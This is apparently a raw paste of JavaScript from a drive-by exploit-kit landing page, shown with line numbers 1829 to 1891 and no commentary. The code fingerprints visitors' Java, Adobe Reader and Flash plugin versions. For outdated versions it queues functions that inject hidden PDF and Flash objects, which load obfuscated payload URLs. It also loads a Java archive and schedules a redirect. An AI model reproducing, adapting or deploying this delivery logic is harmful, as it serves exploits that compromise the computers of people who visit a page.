  1829. }
  1830. function p2() {
  1831.     var d = document.createElement("div");
  1832.     d.innerHTML = "<object data=\"/horrible/wine_meets.php?jgmop=" + x("75f1a") + "&jmuers=" + x("l") + "&qena=1j:32:1g:31:1f:1g:1l:1m:30:30&qwcew=" + x(pdfver.join(".")) + "\" type=\"application/pdf\"><embed src=\"/horrible/wine_meets.php?jgmop=" + x("75f1a") + "&jmuers=" + x("l") + "&qena=1j:32:1g:31:1f:1g:1l:1m:30:30&qwcew=" + x(pdfver.join(".")) + "\" type=\"application/pdf\" /></object>";
  1833.     document.body.appendChild(d);
  1834. }
  1835. function f1() {
  1836.     var oSpan = document.createElement("span");
  1837.     document.body.appendChild(oSpan);
  1838.     var url = "/horrible/wine_meets.php?ltgsklxm=" + x("75f1a") + "&ompgo=" + x("niyzci") + "&qfckdb=1j:32:1g:31:1f:1g:1l:1m:30:30&info=02e6b1525353caa8adb549cbae49304eabb1b1abb5b25550b036b033af55b5b631f7b537375753ac51b252ca3556b1cf4f7e7a05b26a07";
  1839.     oSpan.innerHTML = "<object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='400' codebase='http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'><param name='movie' value='" + url + "' /><embed src='" + url + "' name='asd' align='middle' allowNetworking='all' type='application/x-shockwave-flash' pluginspage='http://www.macromedia.com/go/getflashplayer'></embed></object>";
  1840. }
  1841. function ff2() {
  1842.     return false;
  1843. }
  1844. document.write('');
  1845. setTimeout(end_redirect, 61000);
  1846. var pdfver = [];
  1847.  
  1848. function svwrbew6436b($) {
  1849.     var ar = [];
  1850.     var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  1851.     if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) {
  1852.         ar["push"](j2);
  1853.     } else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) {
  1854.         ar["push"](j1);
  1855.     }
  1856.     pdfver = PluginDetect.getVersion("AdobeReader");
  1857.     if (window.document) if (typeof pdfver == "string") {
  1858.         pdfver = pdfver["split"](".")
  1859.     } else {
  1860.         pdfver = [0, 0, 0, 0]
  1861.     }
  1862.     if (pdfver[0] > 0 && pdfver[0] < 8) {
  1863.         if (window.document) ar["push"](p1);
  1864.     }
  1865.     if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) {
  1866.         ar["push"](p2);
  1867.     }
  1868.     var ver = ($$.getVersion("Flash") + ".").toString()["split"](".");
  1869.     if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) {
  1870.         ar["push"](ff2);
  1871.     }
  1872.     if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
  1873.         ar["push"](f1);
  1874.     }
  1875.     var arcalli = 0;
  1876.     var arcall = function () {
  1877.         if (ar.length <= arcalli) return 123;
  1878.         ss = setTimeout;
  1879.         var res = ar[arcalli]();
  1880.         arcalli++;
  1881.         if (res && window.document) {
  1882.             ss(function () {
  1883.                 arcall()
  1884.             }, 5509);
  1885.         } else {
  1886.             arcall();
  1887.         }
  1888.     };
  1889.     arcall();
  1890. }
  1891. $$["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../legs/getJavaInfo.jar");
clone this paste RAW Paste Data